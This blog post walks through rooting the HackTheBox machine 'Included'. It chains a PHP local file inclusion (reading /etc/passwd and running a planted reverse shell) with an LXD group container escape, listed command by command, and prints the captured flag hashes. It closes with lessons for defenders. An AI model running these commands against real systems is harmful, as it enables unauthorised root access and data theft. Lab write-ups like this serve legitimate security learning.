

Exploiting LFI and LXD for Root: A Walkthrough of CVE-2018-12613

Published on: August 23, 2025

By: Nickmeade1990

Introduction

File Inclusion vulnerabilities are among the most dangerous flaws in PHP-based web applications. They allow attackers to include arbitrary files on the server, which often leads to **Remote Code Execution (RCE)**. This type of issue is frequently documented in the CWE-98: Improper Control of Filename for Include/Require Statement in PHP, and real-world examples exist such as CVE-2018-12613, where **phpMyAdmin** suffered from a similar LFI → RCE exploit path.

In this post, I'll walk you through how I leveraged an **LFI vulnerability** to gain a foothold and then escalated privileges using the **LXD group** to root the HackTheBox machine *Included*.

Reconnaissance

I started with an Nmap scan:

```
nmap -sC -sV 10.129.95.185
```

Results showed:

- **Port 80** – Apache hosting a PHP application
- **Port 22** – OpenSSH

Naturally, I began with the web server.

Exploitation: From LFI to RCE

Testing parameters in the PHP application revealed a **Local File Inclusion** vulnerability:

```
curl "http://10.129.95.185/?file=/etc/passwd"
```

Bingo. The server returned `/etc/passwd`, confirming LFI.

From here, I dropped in a **reverse shell payload** and executed it via the same LFI trick:

```
curl "http://10.129.95.185/?file=/var/lib/tftpboot/shell.php"
```

Moments later, I had a shell as user **mike**.

Privilege Escalation: CVE-2019-5736 vs. LXD Abuse

Once on the box, running `id` showed something interesting:

```
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
```

The `lxd` group stood out. Being in `lxd` means you can control LXD containers — and if configured insecurely, it's possible to mount the host filesystem inside a container with root privileges.

This isn't tied to a single CVE but is a **known misconfiguration** often highlighted in Linux privilege escalation guides. It's conceptually similar to CVE-2019-5736, a Docker container escape, where container runtimes could be exploited to gain host-level root access.

Escalation Process

On my attack box, I downloaded an **Alpine Linux** container image:

```
wget
http://images.linuxcontainers.org/images/alpine/3.19/amd64/default/20250822_0050/lxd.tar.xz
```

```
wget
http://images.linuxcontainers.org/images/alpine/3.19/amd64/default/20250822_0050/rootfs.squashfs
```

```
python3 -m http.server 8000
```

On the victim box:

```
cd /tmp
```

```
wget http://10.10.14.20:8000/lxd.tar.xz
```

```
wget http://10.10.14.20:8000/rootfs.squashfs
```

```
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
```

Spawned a privileged container:

```
lxc init alpine privesc -c security.privileged=true
```

```
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

```
lxc start privesc
```

```
lxc exec privesc /bin/sh
```

With /mnt/root mounted, I had full access to the host filesystem. From there:

```
cd /mnt/root/home/mike
```

```
cat user.txt
```

```
# a56ef91d70cfbf2cdb8f454c006935a1
```

```
cd /mnt/root/root
```

```
cat root.txt
```

```
# c693d9c7499d9f572ee375d4c14c7bcf
```

Conclusion

By chaining **LFI (similar to CVE-2018-12613)** with an **LXD privilege escalation misconfiguration** (conceptually tied to container escape issues like CVE-2019-5736), I was able to gain full root control of the system.

This highlights two critical lessons for defenders:

1. **Never trust user input** – sanitize and validate all PHP include() parameters.
2. **Restrict privileged groups** – don't add users to lxd, docker, or similar groups unless absolutely necessary.

And for attackers (or learners on HTB):

- Always check group memberships.
 - Always think about chaining smaller bugs into full system compromise.
-

💡 *Included has been pwned. Both user and root flags captured.*